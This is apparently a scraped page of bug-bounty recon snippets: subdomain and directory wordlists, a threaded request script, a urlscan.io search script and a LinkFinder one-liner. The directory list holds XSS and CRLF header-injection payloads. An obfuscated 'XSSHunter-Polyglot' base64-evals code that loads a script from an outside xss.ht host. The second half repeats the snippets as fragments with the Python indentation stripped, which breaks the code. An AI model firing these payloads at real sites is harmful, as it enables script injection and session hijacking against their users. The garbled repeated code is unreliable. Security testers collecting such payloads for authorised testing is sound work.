Nenad Zaric ntrzz

## alt-words.txt
admin
dev
api
test
aws
beta
alpha
bucket
staging
development

## dirs.txt
!access_setup.asp
!capcha.php
!mssql_setup.asp
!mysql_setup.asp
!setup.asp
";alert(0);//
%%0A0AHeader-Test:BLATRUC
%0A%20Header-Test:BLATRUC
%0AHeader-Test:BLATRUC
%0D%0A%09Header-Test:BLATRUC

## burp-async.py
#!/usr/bin/env python
from multiprocessing.pool import ThreadPool
from time import time as timer
import requests


with open('domains.txt') as f:
    content = f.readlines()
urls = [x.strip() for x in content]

## XSSHunter-Polyglot
jaVasCript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" oNmouseoVer=/*<svg/*/oNloAd=eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHh4eC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7'))//>

## urlscan-cli
import requests
import json
import time

def main():
	with open("domainz.txt", 'r+') as f:
		content = f.readlines()
		for c in content:
			time.sleep(1)
			r = requests.get("https://urlscan.io/api/v1/search/?q=domain:{}".format(c))

## linkfinder-oneliner.sh
curl -s $1 | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort | uniq | grep ".js" > jslinks.txt; while IFS= read link; do python linkfinder.py -i "$link" -o cli; done < jslinks.txt | grep $2 | grep -v $3 | sort -n | uniq; rm -rf jslinks.txt
	!access_setup.asp
	!capcha.php
	!mssql_setup.asp
	!mysql_setup.asp
	!setup.asp
	";alert(0);//
	%%0A0AHeader-Test:BLATRUC
	%0A%20Header-Test:BLATRUC
	%0AHeader-Test:BLATRUC
	%0D%0A%09Header-Test:BLATRUC
	#!/usr/bin/env python
	from multiprocessing.pool import ThreadPool
	from time import time as timer
	import requests



	with open('domains.txt') as f:
	content = f.readlines()
	urls = [x.strip() for x in content]
	import requests
	import json
	import time

	def main():
	with open("domainz.txt", 'r+') as f:
	content = f.readlines()
	for c in content:
	time.sleep(1)
	r = requests.get("https://urlscan.io/api/v1/search/?q=domain:{}".format(c))